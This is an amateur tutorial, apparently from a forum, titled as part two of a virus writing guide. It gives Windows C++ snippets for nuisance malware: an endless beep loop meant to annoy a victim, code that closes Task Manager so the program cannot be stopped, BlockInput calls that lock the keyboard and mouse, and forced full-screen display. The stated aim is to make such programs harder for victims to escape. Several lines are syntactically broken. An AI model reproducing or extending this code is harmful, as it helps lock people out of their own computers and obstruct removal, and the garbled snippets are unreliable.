A Practical Virus Writing Guide:Part 2

Note:As this server don't supports HTML tags for codes so there was an error in showing the headers correctly so remember to replace the "" in all the header files with <&>
Before I get started, I am going to tell you one thing. THIS IS NOT A TUTORIAL ON WRITING VIRUS, ITS A TUTORIAL ON MAKING THEM STRONGER! If you want a tutorial on how to make a basic virus go check out
the firts part.
Ok now let's start coding.
int Freq = 100;
int Duration = 100;
Beep(Freq,Duration);
The code above will make your computer beep. So say you write
while(1==1)
{Beep(Freq,Duration);}
}
This would make someones computer beep over and over and over again.
ok so now you know how to piss someone off with anoying nosies.
Q: So how can we make it so they cants stop our program from running???
A: BlockInput();
BlockInput() is a great thing...except for one little problem, the user can still press CTRL + ALT + DEL bringing up the taskmgr making our program stupid. so we now need a way to block both the input and kill taskmgr. Well, its simple.

#include "winable.h" //must have for BlockInput
//put the codes you learned from Smith's Virus Guide here
hWin = FindWindow(NULL,"Windows Task Manager"); //checks to make sure taskmgr isnt opened
SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0); // if taskmgr is open it will close
BlockInput(true);
cout << "Your Input Is Blocked" <
Sleep(10000); //pauses for 10 seconds
BlockInput(false);
cout << "Your Input Is Unblocked" <
}
compile that code and run the program, for 10 seconds you cannot move your mouse or type anything with your keyboard. cool right?
Q: I want to make my C++ virus full-screen, how would i do this?
A:
#include "iostream" //replace the"" with <&>
using namespace std;
#include "windows.h"
#include "conio.h"
class Program {
public:
void Fullscreen();
};
int main()
{
Program start;
start.Fullscreen();
cout<<"This is a full-screen C++ application!!";
getch();
return 0;
}
void Program::Fullscreen()
{ keybd_event (VK_MENU, 0x38, 0, 0);
keybd_event (VK_RETURN, 0x1c, 0, 0);
keybd_event (VK_RETURN, 0X1c, KEYEVENTF_KEYUP, 0);
keybd_event (VK_MENU, 0x38, KEYEVENTF_KEYUP, 0);
}
I think this will be very helpful in increasing your knowledge about virus coding and programming.
- Thank You